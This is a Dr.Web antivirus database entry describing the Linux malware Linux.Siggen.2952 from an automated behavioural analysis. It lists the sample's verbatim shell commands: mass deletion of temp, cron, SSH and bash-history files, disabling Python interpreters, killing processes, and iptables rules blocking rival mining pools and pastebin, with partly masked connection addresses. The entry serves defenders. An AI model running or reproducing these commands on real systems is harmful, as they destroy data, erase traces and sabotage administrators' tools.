Linux.Siggen.2952
Added to the Dr.Web virus database:
2020-05-16
Virus description added:
2020-05-16
Technical Information
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Modifies firewall settings:
- iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string aliyun.one -j DROP
- iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string img.sobot.com -j DROP
- iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string supportxmr.com -j DROP
- iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string pastebin.com -j DROP
- iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string minexmr.com -j DROP
- iptables -I INPUT -s 178.170.189.0/24 -j DROP
- iptables -I INPUT -s 91.215.168.0/22 -j DROP
- iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string tor2web.su -j DROP
- iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string lsd.systemten.org -j DROP
- iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string onion.to -j DROP
- iptables -A FORWARD -p udp --dport 53 -m string --algo kmp --string tor2web.io -j DROP
- iptables -A FORWARD -p udp --dport 53 -m string --algo kmp --string onion.sh -j DROP
- iptables -I OUTPUT -p tcp -d pastebin.com -j DROP
- iptables -A INPUT -p tcp -s pastebin.com -j DROP
- iptables -A INPUT -p tcp --dport 443 -j DROP
- iptables -A OUTPUT -p tcp --dport 8080 -j DROP
- iptables -A OUTPUT -p tcp --dport 443 -j DROP
Launches processes:
- sh -c rm -rf /tmp/.* ; rm -rf /tmp/* ; crontab -r ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/lock*/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /var/spool/*/*/* ; rm -rf /var/spool/cro*/cront*/* ; rm -rf /home/*/.ba* ; >/dev/null 2>/dev/null
- rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
- sh -c
- sh -c rm -rf /usr/sbin/crond ; chmod 000 /usr/bin/py* ; rm -rf /home/*/.ss*/.kn* ; rm -rf /root/.ss*/.kn* ; rm -rf /var/spool/cr*/* ; rm -rf /etc/cron.*/* ; rm -rf /var/spool/anacro*/*/* ; rm -rf /root/.ba* ; rm -rf /etc/cron* ; >/dev/null 2>/dev/null
- sh -c echo \"nameserver 8.8.8.8\" >> /etc/resolv.conf ; >/dev/null 2>&1
- rm -rf /usr/sbin/crond
- chmod 000 /usr/bin/py3clean /usr/bin/py3compile /usr/bin/py3versions /usr/bin/pybuild /usr/bin/pyclean /usr/bin/pycompile /usr/bin/pydoc /usr/bin/pydoc2.7 /usr/bin/pydoc3 /usr/bin/pydoc3.4 /usr/bin/pygettext /usr/bin/pygettext2.7 /usr/bin/pygettext3 /usr/bin/pygettext3.4 /usr/bin/pygmentize /usr/bin/python /usr/bin/python-config /usr/bin/python2 /usr/bin/python2-config /usr/bin/python2.7 /usr/bin/python2.7-config /usr/bin/python3 /usr/bin/python3.4 /usr/bin/python3.4m /usr/bin/python3m /usr/bin/pythontex /usr/bin/pythontex3 /usr/bin/pyversions
- /sbin/modprobe ip_tables -q
- rm -rf /home/*/.ss*/.kn*
- rm -rf /root/.ss*/.kn*
- rm -rf /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs
- rm -rf /etc/cron.daily/apt /etc/cron.daily/aptitude /etc/cron.daily/bsdmainutils /etc/cron.daily/dpkg /etc/cron.daily/exim4-base /etc/cron.daily/logrotate /etc/cron.daily/man-db /etc/cron.daily/mlocate /etc/cron.daily/passwd /etc/cron.weekly/man-db
- rm -rf /var/spool/anacro*/*/*
- rm -rf /root/.bash_history /root/.bashrc
- rm -rf /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly /etc/crontab
- iptables-save
Kills system processes:
Kills the following processes:
- run.sh
- bash
- acpid
- rsyslogd
- cron
- rpc.idmapd
- systemd
- <SAMPLE>
- /bin/rm
- /bin/sh
- (sd-pam)
- /bin/chmod
Performs operations with the file system:
Modifies file access rights:
- /usr/sbin/service
- /usr/bin/wget
- /dev/urandom
- /usr/bin/perl
- /usr/bin/python3.4
- /usr/bin/python2.7
- /usr/bin/mawk
- /usr/bin/xargs
- /bin/sed
- /usr/bin/crontab
- /usr/bin/py3clean
- /usr/bin/py3compile
- /usr/bin/at
- /bin/nc.traditional
- /sbin/xtables-multi
Creates or modifies files:
Deletes files:
- /usr/sbin/crond
- /home/*/.ss*/.kn*
- /root/.ss*/.kn*
- /.SEQ
- /etc/cron.daily/apt
- /var/spool/anacro*/*/*
- /root/.bash_history
- /.placeholder
- /passwd
- /aptitude
- /mlocate
- /logrotate
- /apt
- /bsdmainutils
- /dpkg
- /man-db
- /exim4-base
- /etc/crontab
- /usr/sbin/service
- /usr/bin/at
- /bin/nc
- /bin/netcat
- /usr/bin/iptables-xml
Network activity:
Establishes connection:
- 16#.#2.69.25:80
- [:##]:53
- 127.0.0.1:53
- <LOCAL_DNS_SERVER>
- 45.##.42.172:80
- 14#.#8.34.25:80
DNS ASK:
Curing recommendations
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